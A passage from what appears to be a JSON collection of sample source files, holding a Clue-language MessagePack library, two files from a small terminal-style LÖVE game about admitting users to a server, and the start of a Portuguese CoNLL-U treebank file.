_G.unpack\n\tlocal ssub = string.sub\n\tlocal type, pcall, pairs, select = type, pcall, pairs, select\n} @else {\n\t@if all(not(lua(5.4)), not(lua(5.3))) {\n\t\t@print \"Warning: Lua version not specified, defaulting to Lua5.4\"\n\t}\n\tlocal {pack, unpack} = string\n\tlocal mtype, utf8len = math.type, utf8.len\n\tlocal tconcat, tunpack = table.concat, table.unpack\n\tlocal ssub = string.sub\n\tlocal type, pcall, pairs, select = type, pcall, pairs, select\n}\n\n//ENCODER\nlocal encode_value //forward declaration\n\nlocal fn is_an_array(value) {\n\tlocal expected = 1\n\tfor k of value {\n\t\tif k != expected {\n\t\t\treturn false\n\t\t}\n\t\texpected += 1\n\t}\n\treturn true\n}\n\nlocal encoder_functions = {\n\t[\"nil\"] = fn {\n\t\treturn pack(\"B\", 0xc0)\n\t},\n\t[\"boolean\"] = fn(value) {\n\t\tif value {\n\t\t\treturn pack(\"B\", 0xc3)\n\t\t} else {\n\t\t\treturn pack(\"B\", 0xc2)\n\t\t}\n\t},\n\t[\"number\"] = fn(value) {\n\t\tif mtype(value) == \"integer\" {\n\t\t\tif value >= 0 {\n\t\t\t\tif value < 128 {\n\t\t\t\t\treturn pack(\"B\", value)\n\t\t\t\t} elseif value <= 0xff {\n\t\t\t\t\treturn pack(\"BB\", 0xcc, value)\n\t\t\t\t} elseif value <= 0xffff {\n\t\t\t\t\treturn pack(\">BI2\", 0xcd, value)\n\t\t\t\t} elseif value <= 0xffffffff {\n\t\t\t\t\treturn pack(\">BI4\", 0xce, value)\n\t\t\t\t} else {\n\t\t\t\t\treturn pack(\">BI8\", 0xcf, value)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif value >= -32 {\n\t\t\t\t\treturn pack(\"B\", 0xe0 + (value + 32))\n\t\t\t\t} elseif value >= -128 {\n\t\t\t\t\treturn pack(\"Bb\", 0xd0, value)\n\t\t\t\t} elseif value >= -32768 {\n\t\t\t\t\treturn pack(\">Bi2\", 0xd1, value)\n\t\t\t\t} elseif value >= -2147483648 {\n\t\t\t\t\treturn pack(\">Bi4\", 0xd2, value)\n\t\t\t\t} else {\n\t\t\t\t\treturn pack(\">Bi8\", 0xd3, value)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlocal test = unpack(\"f\", pack(\"f\", value))\n\t\t\tif test == value { //check if we can use float\n\t\t\t\treturn pack(\">Bf\", 0xca, value)\n\t\t\t} else {\n\t\t\t\treturn pack(\">Bd\", 0xcb, value)\n\t\t\t}\n\t\t}\n\t},\n\t[\"string\"] = fn(value) {\n\t\tlocal len = #value\n\t\tif utf8len(value) { //check if it is a real utf8 string or just byte junk\n\t\t\tif len < 32 {\n\t\t\t\treturn pack(\"B\", 0xa0 + len) .. value\n\t\t\t} elseif len < 256 {\n\t\t\t\treturn pack(\">Bs1\", 0xd9, value)\n\t\t\t} elseif len < 65536 {\n\t\t\t\treturn pack(\">Bs2\", 0xda, value)\n\t\t\t} else {\n\t\t\t\treturn pack(\">Bs4\", 0xdb, value)\n\t\t\t}\n\t\t} else { //encode it as byte-junk :)\n\t\t\tif len < 256 {\n\t\t\t\treturn pack(\">Bs1\", 0xc4, value)\n\t\t\t} elseif len < 65536 {\n\t\t\t\treturn pack(\">Bs2\", 0xc5, value)\n\t\t\t} else {\n\t\t\t\treturn pack(\">Bs4\", 0xc6, value)\n\t\t\t}\n\t\t}\n\t},\n\t[\"table\"] = fn(value) {\n\t\tif is_an_array(value) { //it seems to be a proper Lua array\n\t\t\tlocal elements = {}\n\t\t\tfor i, v of value {\n\t\t\t\telements[i] = encode_value(v)\n\t\t\t}\n\n\t\t\tlocal length = #elements\n\t\t\tif length < 16 {\n\t\t\t\treturn pack(\">B\", 0x90 + length) .. tconcat(elements)\n\t\t\t} elseif length < 65536 {\n\t\t\t\treturn pack(\">BI2\", 0xdc, length) .. tconcat(elements)\n\t\t\t} else {\n\t\t\t\treturn pack(\">BI4\", 0xdd, length) .. tconcat(elements)\n\t\t\t}\n\t\t} else { //encode as a map\n\t\t\tlocal elements = {}\n\t\t\tfor k, v of value {\n\t\t\t\tif type(v) != \"function\" {\n\t\t\t\t\telements[#elements + 1] = encode_value(k)\n\t\t\t\t\telements[#elements + 1] = encode_value(v)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tlocal length = #elements /_ 2\n\t\t\tif length < 16 {\n\t\t\t\treturn pack(\">B\", 0x80 + length) .. tconcat(elements)\n\t\t\t} elseif length < 65536 {\n\t\t\t\treturn pack(\">BI2\", 0xde, length) .. tconcat(elements)\n\t\t\t} else {\n\t\t\t\treturn pack(\">BI4\", 0xdf, length) .. tconcat(elements)\n\t\t\t}\n\t\t}\n\t},\n\t[\"function\"] = fn {\n\t\treturn pack(\"B\", 0xc0)\n\t}\n}\n\nencode_value = fn(value) {\n\treturn encoder_functions[type(value)](value)\n}\n\nlocal fn encode(...) {\n\tlocal data = {}\n\tfor i = 1, select(\"#\", ...) {\n\t\tdata[#data + 1] = encode_value(select(i, ...))\n\t}\n\treturn tconcat(data)\n}\n\n\n//DECODER\nlocal decode_value //forward declaration\n\nlocal fn decode_array(data, position, length) {\n\tlocal elements, value = {}\n\tfor i = 1, length {\n\t\tvalue, position = decode_value(data, position)\n\t\telements[i] = value\n\t}\n\treturn elements, position\n}\n\nlocal fn decode_map(data, position, length) {\n\tlocal elements, key, value = {}\n\tfor i = 1, length {\n\t\tkey, position = decode_value(data, position)\n\t\tvalue, position = decode_value(data, position)\n\t\telements[key] = value\n\t}\n\treturn elements, position\n}\n\nlocal decoder_functions = {\n\t[0xc0] = fn(data, position) {\n\t\treturn nil, position\n\t},\n\t[0xc2] = fn(data, position) {\n\t\treturn false, position\n\t},\n\t[0xc3] = fn(data, position) {\n\t\treturn true, position\n\t},\n\t[0xc4] = fn(data, position) {\n\t\treturn unpack(\">s1\", data, position)\n\t},\n\t[0xc5] = fn(data, position) {\n\t\treturn unpack(\">s2\", data, position)\n\t},\n\t[0xc6] = fn(data, position) {\n\t\treturn unpack(\">s4\", data, position)\n\t},\n\t[0xca] = fn(data, position) {\n\t\treturn unpack(\">f\", data, position)\n\t},\n\t[0xcb] = fn(data, position) {\n\t\treturn unpack(\">d\", data, position)\n\t},\n\t[0xcc] = fn(data, position) {\n\t\treturn unpack(\">B\", data, position)\n\t},\n\t[0xcd] = fn(data, position) {\n\t\treturn unpack(\">I2\", data, position)\n\t},\n\t[0xce] = fn(data, position) {\n\t\treturn unpack(\">I4\", data, position)\n\t},\n\t[0xcf] = fn(data, position) {\n\t\treturn unpack(\">I8\", data, position)\n\t},\n\t[0xd0] = fn(data, position) {\n\t\treturn unpack(\">b\", data, position)\n\t},\n\t[0xd1] = fn(data, position) {\n\t\treturn unpack(\">i2\", data, position)\n\t},\n\t[0xd2] = fn(data, position) {\n\t\treturn unpack(\">i4\", data, position)\n\t},\n\t[0xd3] = fn(data, position) {\n\t\treturn unpack(\">i8\", data, position)\n\t},\n\t[0xd9] = fn(data, position) {\n\t\treturn unpack(\">s1\", data, position)\n\t},\n\t[0xda] = fn(data, position) {\n\t\treturn unpack(\">s2\", data, position)\n\t},\n\t[0xdb] = fn(data, position) {\n\t\treturn unpack(\">s4\", data, position)\n\t},\n\t[0xdc] = fn(data, position) {\n\t\tlocal length\n\t\tlength, position = unpack(\">I2\", data, position)\n\t\treturn decode_array(data, position, length)\n\t},\n\t[0xdd] = fn(data, position) {\n\t\tlocal length\n\t\tlength, position = unpack(\">I4\", data, position)\n\t\treturn decode_array(data, position, length)\n\t},\n\t[0xde] = fn(data, position) {\n\t\tlocal length\n\t\tlength, position = unpack(\">I2\", data, position)\n\t\treturn decode_map(data, position, length)\n\t},\n\t[0xdf] = fn(data, position) {\n\t\tlocal length\n\t\tlength, position = unpack(\">I4\", data, position)\n\t\treturn decode_map(data, position, length)\n\t},\n}\n\n//add fix-array, fix-map, fix-string, fix-int stuff\nfor i = 0x00, 0x7f {\n\tdecoder_functions[i] = fn(data, position) {\n\t\treturn i, position\n\t}\n}\nfor i = 0x80, 0x8f {\n\tdecoder_functions[i] = fn(data, position) {\n\t\treturn decode_map(data, position, i - 0x80)\n\t}\n}\nfor i = 0x90, 0x9f {\n\tdecoder_functions[i] = fn(data, position) {\n\t\treturn decode_array(data, position, i - 0x90)\n\t}\n}\nfor i = 0xa0, 0xbf {\n\tdecoder_functions[i] = fn(data, position) {\n\t\tlocal length = i - 0xa0\n\t\treturn ssub(data, position, position + length - 1), position + length\n\t}\n}\nfor i = 0xe0, 0xff {\n\tdecoder_functions[i] = fn(data, position) {\n\t\treturn -32 + (i - 0xe0), position\n\t}\n}\n\ndecode_value = fn(data, position) {\n\tlocal byte, value\n\tbyte, position = unpack(\"B\", data, position)\n\tvalue, position = decoder_functions[byte](data, position)\n\treturn value, position\n}\n\n//INTERFACE\nreturn {\n\t_AUTHOR = \"Felice D'Angelo <https://github.com/Maiori44>\",\n\t_VERSION = \"0.2.1\",\n\n\t//primary encode function\n\tencode = fn(...) {\n\t\tlocal data, ok = {}\n\t\tfor i = 1, select(\"#\", ...) {\n\t\t\tok, data[i] = pcall(encode_value, select(i, ...))\n\t\t\tif !ok {\n\t\t\t\treturn nil, \"cannot encode MessagePack\"\n\t\t\t}\n\t\t}\n\t\treturn tconcat(data)\n\t},\n\n\t//encode just one value\n\tencode_one = fn(value) {\n\t\tlocal ok, data = pcall(encode_value, value)\n\t\tif ok {\n\t\t\treturn data\n\t\t} else {\n\t\t\treturn nil, \"cannot encode MessagePack\"\n\t\t}\n\t},\n\n\t//primary decode function\n\tdecode = fn(data, position) {\n\t\tlocal values, value, ok = {}\n\t\tposition ||= 1\n\t\twhile position <= #data {\n\t\t\tok, value, position = pcall(decode_value, data, position)\n\t\t\tif ok {\n\t\t\t\tvalues[#values + 1] = value\n\t\t\t} else {\n\t\t\t\treturn nil, \"cannot decode MessagePack\"\n\t\t\t}\n\t\t}\n\t\treturn tunpack(values)\n\t},\n\n\t//decode just one value\n\tdecode_one = fn(data, position) {\n\t\tlocal value, ok\n\t\tok, value, position = pcall(decode_value, data, position || 1)\n\t\tif ok {\n\t\t\treturn value, position\n\t\t} else {\n\t\t\treturn nil, \"cannot decode MessagePack\"\n\t\t}\n\t},\n}\n"
  },
  {
    "path": "samples/Clue/player.clue",
    "content": "static commands\nstatic offset = 0\nstatic pointer = 1\n\nlocal utf8 = require(\"utf8\")\nlocal terminal = import(\"terminal\")\n\nlocal exiting = false\nlocal beep = love.audio.newSource(\"assets/beep.ogg\", \"static\")\nlocal key_press = love.audio.newSource(\"assets/key.ogg\", \"static\")\n\ncommands = {\n\texit = {\n\t\tdesc = \"Quit the game.\"\n\t\tcode = fn {\n\t\t\tif exiting {\n\t\t\t\tlove.event.quit()\n\t\t\t} else {\n\t\t\t\texiting = true\n\t\t\t\tterminal::write(\"Are you sure?\", nil, 1, 0, 0)\n\t\t\t\tterminal::write(\"(Type 'exit' again to confirm)\")\n\t\t\t}\n\t\t}\n\t}\n\thelp = {\n\t\tdesc = \"Display this message.\"\n\t\tcode = fn {\n\t\t\tterminal::write(\"List of currently available commands:\")\n\t\t\tfor k, v of commands {\n\t\t\t\tterminal::write(string.format(\"%s - %s\", k::upper(), v.desc))\n\t\t\t}\n\t\t\tlocal game_commands = getmetatable(commands)?.__index\n\t\t\tif game_commands {\n\t\t\t\tfor k, v of game_commands {\n\t\t\t\t\tterminal::write(string.format(\"%s - %s\", k::upper(), v.desc))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfps = {\n\t\tdesc = \"Display the game's FPS.\"\n\t\tcode = fn {\n\t\t\tlocal fps = love.timer.getFPS()\n\t\t\tterminal::write(\"FPS: \" .. tostring(fps), 30, (1 - fps / 60) * 2, fps / 60, 0)\n\t\t}\n\t}\n\tmemory = {\n\t\tdesc = \"Display the amount of memory in use.\"\n\t\tcode = fn {\n\t\t\tterminal::write(string.format(\"Used memory: %dkb\", collectgarbage(\"count\")))\n\t\t}\n\t}\n\tclear = {\n\t\tdesc = \"Clears the terminal.\"\n\t\tcode = fn {\n\t\t\tfor k, _ in terminal {\n\t\t\t\tterminal[k] = nil\n\t\t\t}\n\t\t\tlove.wheelmoved(0, 0)\n\t\t\tcollectgarbage(\"collect\")\n\t\t}\n\t}\n\tguide = {\n\t\tdesc = \"Explains how to play the game.\"\n\t\tcode = fn {\n\t\t\tterminal::write(\"Welcome to IP Please!\")\n\t\t\tterminal::write(\"You are the admin of a private server.\")\n\t\t\tterminal::write(\"Many people want to join, your job is to let them in.\")\n\t\t\tterminal::write(\"(Type 'allow' to let a user in)\")\n\t\t\tterminal::write(\"Hackers may try to infiltrate, do not let them in.\")\n\t\t\tterminal::write(\"(Type 'deny' to not let a user in)\")\n\t\t\tterminal::write(\"Hackers will use older entry codes that are no longer valid.\")\n\t\t\tterminal::write(\"Valid codes change every 30 seconds.\")\n\t\t\tterminal::write(\"(Type 'codes' to get a list of currently valid codes.)\")\n\t\t\tterminal::write(\"Trolls will try to join with high ages (80+), deny them.\")\n\t\t\tterminal::write(\"Also, deny anyone younger than 14.\")\n\t\t\tterminal::write(\"Lastly, the server may glitch, you have to prevent that.\")\n\t\t\tterminal::write(\"To do that, deny any user with a number above 255 in their IP.\")\n\t\t\tterminal::write(\"Allowing and denying users correctly will grant you points.\")\n\t\t\tterminal::write(\"(The faster you are the more points you get)\")\n\t\t\tterminal::write(\"Messing up may lead to the end of the server.\")\n\t\t\tterminal::write(\"Good luck, and thanks for playing!\", 60, 1, 1, 0)\n\t\t\tterminal::write(\"(Type 'start' to begin)\")\n\t\t}\n\t}\n\tstart = {\n\t\tdesc = \"Starts the game.\"\n\t\tcode = fn {\n\t\t\tbeep::play()\n\t\t\tleveltime = 0\n\t\t\tterminal::write(\"Starting server...\", 5)\n\t\t\tterminal::write(\"Done!\")\n\t\t\tterminal::write(\"Reading first user's information...\", 15)\n\t\t\tcommands.start = nil\n\t\t\tcommands.restart = nil\n\t\t\tsetmetatable(commands, {\n\t\t\t\t__index = import(\"game\")\n\t\t\t})\n\t\t\tcommands.user.code(3)\n\t\t}\n\t}\n}\n\nmethod love.keypressed(key, _, isrepeat) {\n\tif hacked {\n\t\treturn\n\t}\n\tif !isrepeat {\n\t\tkey_press::seek(0)\n\t\tkey_press::play()\n\t}\n\tlove.wheelmoved(0, -math.huge)\n\tif terminal::finished() {\n\t\tlocal input = terminal.input[1]::gsub(\"%s+\", \"\")\n\t\tmatch key {\n\t\t\t\"up\" if pointer < #terminal.input => {\n\t\t\t\tpointer += 1\n\t\t\t\tterminal.input[1] = terminal.input[pointer]\n\t\t\t}\n\t\t\t\"down\" if pointer > 1 => {\n\t\t\t\tpointer -= 1\n\t\t\t\tterminal.input[1] = terminal.input[pointer]\n\t\t\t}\n\t\t\t\"backspace\" => {\n\t\t\t\tlocal byteoffset = utf8.offset(input, -1)\n\t\t\t\tif byteoffset {\n\t\t\t\t\tterminal.input[1] = $::sub(1, byteoffset - 1)\n\t\t\t\t}\n\t\t\t}\n\t\t\t\"return\" => {\n\t\t\t\tpointer = 1\n\t\t\t\tif input == \"\" {\n\t\t\t\t\tterminal.input[1] = \"\"\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tlocal command = commands[input::lower()]?.code\n\t\t\t\tif command {\n\t\t\t\t\tcommand()\n\t\t\t\t} else {\n\t\t\t\t\tterminal::write(input .. \": command not found\", nil, 1, 0, 0)\n\t\t\t\t}\n\t\t\t\tif input != \"exit\" {\n\t\t\t\t\texiting = false\n\t\t\t\t}\n\t\t\t\ttable.insert(terminal.input, 1, \"\")\n\t\t\t}\n\t\t}\n\t}\n}\n\nmethod love.textinput(t) {\n\tterminal.input[1] ..= t\n\tlove.wheelmoved(0, -math.huge)\n}\n\nmethod love.wheelmoved(_, y) {\n\tif hackamount < 0.5 {\n\t\treturn\n\t}\n\tlocal terminal_size = -(((#terminal - #terminal.unfinished) + 1) * fontheight - screenheight)\n\toffset = math.min(math.max($ + y * fontheight, math.min(terminal_size, 0)), 0)\n}"
  },
  {
    "path": "samples/Clue/terminal.clue",
    "content": "static errors = 0\n\nlocal utf8 = require(\"utf8\")\n\nlocal error = love.audio.newSource(\"assets/error.ogg\", \"static\")\n\nreturn {\n\tinput = {\"\"}\n\tunfinished = {}\n\twrite = fn(self, text, speed = 120, r = 0.125490196, g = 0.760784314, b = 0.054901961) {\n\t\tlocal text = {\n\t\t\tprogress = 0\n\t\t\tspeed = $\n\t\t\ttext = $\n\t\t\tr = $\n\t\t\tg = $\n\t\t\tb = $\n\t\t}\n\t\ttable.insert(self, text)\n\t\ttable.insert(self.unfinished, text)\n\t}\n\tcorrupt = fn(self) {\n\t\tif !error::isPlaying() && errors > 0 {\n\t\t\terror::play()\n\t\t\terrors -= 1\n\t\t}\n\t\tlocal y = 5 + offset - fontheight\n\t\tfor _, line in self {\n\t\t\ty += fontheight\n\t\t\tif y < -fontheight || y > screenheight + fontheight {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlocal len = utf8.len(line.text)\n\t\t\tlocal i = love.math.random(len)\n\t\t\tlocal corrupted = \"\"\n\t\t\tfor p, c with utf8.codes(line.text) {\n\t\t\t\tcorrupted ..= p == i || p == love.math.random(len)\n\t\t\t\t\t? (hackamount > 0.00005\n\t\t\t\t\t\t? string.char(love.math.random(33, 122))\n\t\t\t\t\t\t: \" \")\n\t\t\t\t\t: utf8.char(c)\n\t\t\t}\n\t\t\tline.text = corrupted\n\t\t\tline.r = love.math.random()\n\t\t\tline.g = love.math.random()\n\t\t\tline.b = love.math.random()\n\t\t}\n\t}\n\tfinished = fn(self) {\n\t\treturn #self.unfinished == 0\n\t}\n\tdraw = fn(self) {\n\t\tlocal y = 5 + offset - fontheight\n\t\tfor i, line in self {\n\t\t\ty += fontheight\n\t\t\tif y < -fontheight || y > screenheight + fontheight {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tlocal {progress, text, r, g, b} = line\n\t\t\tlove.graphics.setColor(r, g, b)\n\t\t\tif !progress {\n\t\t\t\tlove.graphics.print(text, 5, y)\n\t\t\t} elseif progress > 0 {\n\t\t\t\tlocal toprint = \"\"\n\t\t\t\tlocal progress = math.ceil(progress)\n\t\t\t\tfor p, c with utf8.codes(text) {\n\t\t\t\t\ttoprint ..= utf8.char(c)\n\t\t\t\t\tif p >= progress {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tlove.graphics.print(toprint .. \"▇\", 5, y)\n\t\t\t}\n\t\t}\n\t\treturn y + fontheight\n\t}\n}"
  },
  {
    "path": "samples/CoNLL-U/CF1.conllu",
    "content": "# text = PT no governo\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a\n# sent_id = CF1-1\n# id = 1\n1\tPT\tPT\tPROPN\tPROP|M|S|@NPHR\tGender=Masc|Number=Sing\t0\troot\t_\t_\n2-3\tno\t_\t_\t_\t_\t_\t_\t_\t_\n2\tem\tem\tADP\t<sam->|PRP|@N<\t_\t4\tcase\t_\t_\n3\to\to\tDET\t<-sam>|<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t4\tdet\t_\t_\n4\tgoverno\tgoverno\tNOUN\t<np-def>|N|M|S|@P<\tGender=Masc|Number=Sing\t1\tnmod\t_\t_\n\n# text = BRASÍLIA Pesquisa Datafolha publicada hoje revela um dado supreendente: recusando uma postura radical, a esmagadora maioria (77%) dos eleitores quer o PT participando do Governo Fernando Henrique Cardoso.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a &W\n# sent_id = CF1-3\n# id = 2\n1\tBRASÍLIA\tBrasília\tPROPN\tPROP|F|S|@ADVL>\tGender=Fem|Number=Sing\t6\tdep\t_\t_\n2\tPesquisa\tPesquisa\tPROPN\t_\tGender=Fem|Number=Sing\t6\tnsubj\t_\tChangedBy=Issue119|MWE=Pesquisa_Datafolha|MWEPOS=PROPN\n3\tDatafolha\tDatafolha\tPROPN\t_\tNumber=Sing\t2\tflat:name\t_\tChangedBy=Issue119\n4\tpublicada\tpublicar\tVERB\t<mv>|V|PCP|F|S|@ICL-N<\tGender=Fem|Number=Sing|VerbForm=Part\t2\tacl\t_\t_\n5\thoje\thoje\tADV\tADV|@<ADVL\t_\t4\tadvmod\t_\t_\n6\trevela\trevelar\tVERB\t<mv>|V|PR|3S|IND|@FS-STA\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t0\troot\t_\t_\n7\tum\tum\tDET\t<arti>|ART|M|S|@>N\tDefinite=Ind|Gender=Masc|Number=Sing|PronType=Art\t8\tdet\t_\t_\n8\tdado\tdado\tNOUN\t<np-idf>|N|M|S|@<ACC\tGender=Masc|Number=Sing\t6\tobj\t_\t_\n9\tsupreendente\tsurpreendente\tADJ\tADJ|M|S|@N<\tGender=Masc|Number=Sing\t8\tamod\t_\tChangedBy=Issue165|SpaceAfter=No\n10\t:\t:\tPUNCT\tPU|@PU\t_\t26\tpunct\t_\t_\n11\trecusando\trecusar\tVERB\t<mv>|V|GER|@ICL-ADVL>\tVerbForm=Ger\t26\tadvcl\t_\t_\n12\tuma\tum\tDET\t<arti>|ART|F|S|@>N\tDefinite=Ind|Gender=Fem|Number=Sing|PronType=Art\t13\tdet\t_\t_\n13\tpostura\tpostura\tNOUN\t<np-idf>|N|F|S|@<ACC\tGender=Fem|Number=Sing\t11\tobj\t_\t_\n14\tradical\tradical\tADJ\tADJ|F|S|@N<\tGender=Fem|Number=Sing\t13\tamod\t_\tChangedBy=Issue165|SpaceAfter=No\n15\t,\t,\tPUNCT\tPU|@PU\t_\t26\tpunct\t_\t_\n16\ta\to\tDET\t<artd>|ART|F|S|@>N\tDefinite=Def|Gender=Fem|Number=Sing|PronType=Art\t18\tdet\t_\t_\n17\tesmagadora\tesmagador\tADJ\tADJ|F|S|@>N\tGender=Fem|Number=Sing\t18\tamod\t_\t_\n18\tmaioria\tmaioria\tNOUN\t<np-def>|N|F|S|@SUBJ>\tGender=Fem|Number=Sing\t26\tnsubj\t_\t_\n19\t(\t(\tPUNCT\tPU|@PU\t_\t21\tpunct\t_\tChangedBy=Issue165|SpaceAfter=No\n20\t77\t77\tNUM\t<card>|NUM|M|P|@>N\tNumType=Card\t21\tnummod\t_\tChangedBy=Issue165|ChangedBy=Issue168|SpaceAfter=No\n21\t%\t%\tSYM\t<np-def>|N|M|P|@N<PRED\tGender=Masc|Number=Plur\t18\tappos\t_\tChangedBy=Issue165|SpaceAfter=No\n22\t)\t)\tPUNCT\tPU|@PU\t_\t21\tpunct\t_\t_\n23-24\tdos\t_\t_\t_\t_\t_\t_\t_\t_\n23\tde\tde\tADP\t<sam->|PRP|@N<\t_\t25\tcase\t_\t_\n24\tos\to\tDET\t<-sam>|<artd>|ART|M|P|@>N\tDefinite=Def|Gender=Masc|Number=Plur|PronType=Art\t25\tdet\t_\t_\n25\teleitores\teleitor\tNOUN\t<np-def>|N|M|P|@P<\tGender=Masc|Number=Plur\t18\tnmod\t_\t_\n26\tquer\tquerer\tVERB\t<mv>|V|PR|3S|IND|@FS-N<PRED\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t8\tacl:relcl\t_\t_\n27\to\to\tDET\t<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t28\tdet\t_\t_\n28\tPT\tPT\tPROPN\tPROP|M|S|@<ACC\tGender=Masc|Number=Sing\t26\tobj\t_\t_\n29\tparticipando\tparticipar\tVERB\t<mv>|V|GER|@ICL-<OC\tVerbForm=Ger\t26\txcomp\t_\t_\n30-31\tdo\t_\t_\t_\t_\t_\t_\t_\t_\n30\tde\tde\tADP\t<sam->|PRP|@<PIV\t_\t32\tcase\t_\t_\n31\to\to\tDET\t<-sam>|<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t32\tdet\t_\t_\n32\tGoverno\tgoverno\tNOUN\t<prop>|<np-def>|N|M|S|@P<\tGender=Masc|Number=Sing\t29\tobl\t_\t_\n33\tFernando\tFernando\tPROPN\t_\tGender=Masc|Number=Sing\t32\tnmod\t_\tChangedBy=Issue119|MWE=Fernando_Henrique_Cardoso|MWEPOS=PROPN\n34\tHenrique\tHenrique\tPROPN\t_\tNumber=Sing\t33\tflat:name\t_\tChangedBy=Issue119\n35\tCardoso\tCardoso\tPROPN\t_\tNumber=Sing\t33\tflat:name\t_\tSpaceAfter=No\n36\t.\t.\tPUNCT\tPU|@PU\t_\t6\tpunct\t_\t_\n\n# text = Tem sentido -- aliás, muitíssimo sentido.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a &D\n# sent_id = CF1-4\n# id = 3\n1\tTem\tter\tVERB\t<mv>|V|PR|3S|IND|@FS-STA\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t0\troot\t_\t_\n2\tsentido\tsentido\tNOUN\t<np-idf>|N|M|S|@<ACC\tGender=Masc|Number=Sing\t1\tobj\t_\t_\n3\t--\t--\tPUNCT\tPU|@PU\t_\t1\tpunct\t_\t_\n4\taliás\taliás\tADV\t<kc>|ADV|@<ADVL\t_\t1\tadvmod\t_\tChangedBy=Issue165|SpaceAfter=No\n5\t,\t,\tPUNCT\tPU|@PU\t_\t7\tpunct\t_\t_\n6\tmuitíssimo\tmuitíssimo\tDET\t<quant>|<SUP>|DET|M|S|@>N\tGender=Masc|Number=Sing|PronType=Ind\t7\tdet\t_\t_\n7\tsentido\tsentido\tNOUN\t<np-idf>|N|M|S|@N<PRED\tGender=Masc|Number=Sing\t2\tappos\t_\tChangedBy=Issue165|SpaceAfter=No\n8\t.\t.\tPUNCT\tPU|@PU\t_\t1\tpunct\t_\t_\n\n# text = Muito mais do que nos tempos na ditadura, a solidez do PT está, agora, ameaçada.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a\n# sent_id = CF1-5\n# id = 4\n1\tMuito\tmuito\tADV\t<quant>|ADV|@>A\t_\t2\tadvmod\t_\t_\n2\tmais\tmais\tADV\t<quant>|<KOMP>|<COMP>|ADV|@ADVL>\t_\t22\tadvmod\t_\t_\n3-4\tdo\t_\t_\t_\t_\t_\t_\t_\t_\n3\tde\tde\tADP\t<sam->|PRP|@COM\t_\t8\tcase\t_\t_\n4\to\to\tPRON\t<dem>|<-sam>|DET|M|S|@P<\tGender=Masc|Number=Sing|PronType=Dem\t3\tfixed\t_\t_\n5\tque\tque\tPRON\t<rel>|INDP|M|S|@N<\tGender=Masc|Number=Sing|PronType=Rel\t3\tfixed\t_\t_\n6-7\tnos\t_\t_\t_\t_\t_\t_\t_\t_\n6\tem\tem\tADP\t<sam->|<first-cjt>|PRP|@KOMP<\t_\t8\tcase\t_\t_\n7\tos\to\tDET\t<-sam>|<artd>|ART|M|P|@>N\tDefinite=Def|Gender=Masc|Number=Plur|PronType=Art\t8\tdet\t_\t_\n8\ttempos\ttempo\tNOUN\t<first-cjt>|<np-def>|N|M|P|@P<\tGender=Masc|Number=Plur\t2\tobl\t_\t_\n9-10\tna\t_\t_\t_\t_\t_\t_\t_\t_\n9\tem\tem\tADP\t<sam->|PRP|@N<\t_\t11\tcase\t_\t_\n10\ta\to\tDET\t<-sam>|<artd>|ART|F|S|@>N\tDefinite=Def|Gender=Fem|Number=Sing|PronType=Art\t11\tdet\t_\t_\n11\tditadura\tditadura\tNOUN\t<np-def>|N|F|S|@P<\tGender=Fem|Number=Sing\t8\tnmod\t_\tChangedBy=Issue165|SpaceAfter=No\n12\t,\t,\tPUNCT\tPU|@PU\t_\t2\tpunct\t_\t_\n13\ta\to\tDET\t<artd>|ART|F|S|@>N\tDefinite=Def|Gender=Fem|Number=Sing|PronType=Art\t14\tdet\t_\t_\n14\tsolidez\tsolidez\tNOUN\t<np-def>|N|F|S|@SUBJ>\tGender=Fem|Number=Sing\t22\tnsubj\t_\t_\n15-16\tdo\t_\t_\t_\t_\t_\t_\t_\t_\n15\tde\tde\tADP\t<sam->|PRP|@N<\t_\t17\tcase\t_\t_\n16\to\to\tDET\t<-sam>|<artd>|ART|M|S|@>N\tDefinite=Def|Gender=Masc|Number=Sing|PronType=Art\t17\tdet\t_\t_\n17\tPT\tPT\tPROPN\tPROP|M|S|@P<\tGender=Masc|Number=Sing\t14\tnmod\t_\t_\n18\testá\testar\tAUX\t<mv>|V|PR|3S|IND|@FS-STA\tMood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin\t22\tcop\t_\tChangedBy=Issue165|ChangedBy=Issue167|SpaceAfter=No\n19\t,\t,\tPUNCT\tPU|@PU\t_\t20\tpunct\t_\t_\n20\tagora\tagora\tADV\t<kc>|ADV|@<ADVL\t_\t22\tadvmod\t_\tChangedBy=Issue165|SpaceAfter=No\n21\t,\t,\tPUNCT\tPU|@PU\t_\t20\tpunct\t_\t_\n22\tameaçada\tameaçar\tVERB\t<mv>|V|PCP|F|S|@ICL-<SC\tGender=Fem|Number=Sing|VerbForm=Part\t0\troot\t_\tChangedBy=Issue165|SpaceAfter=No\n23\t.\t.\tPUNCT\tPU|@PU\t_\t22\tpunct\t_\t_\n\n# text = Nem Lula nem o partido ainda encontraram um discurso para se diferenciar.\n# source = CETENFolha n=1 cad=Opinião sec=opi sem=94a\n# sent_id = CF1-6\n# id = 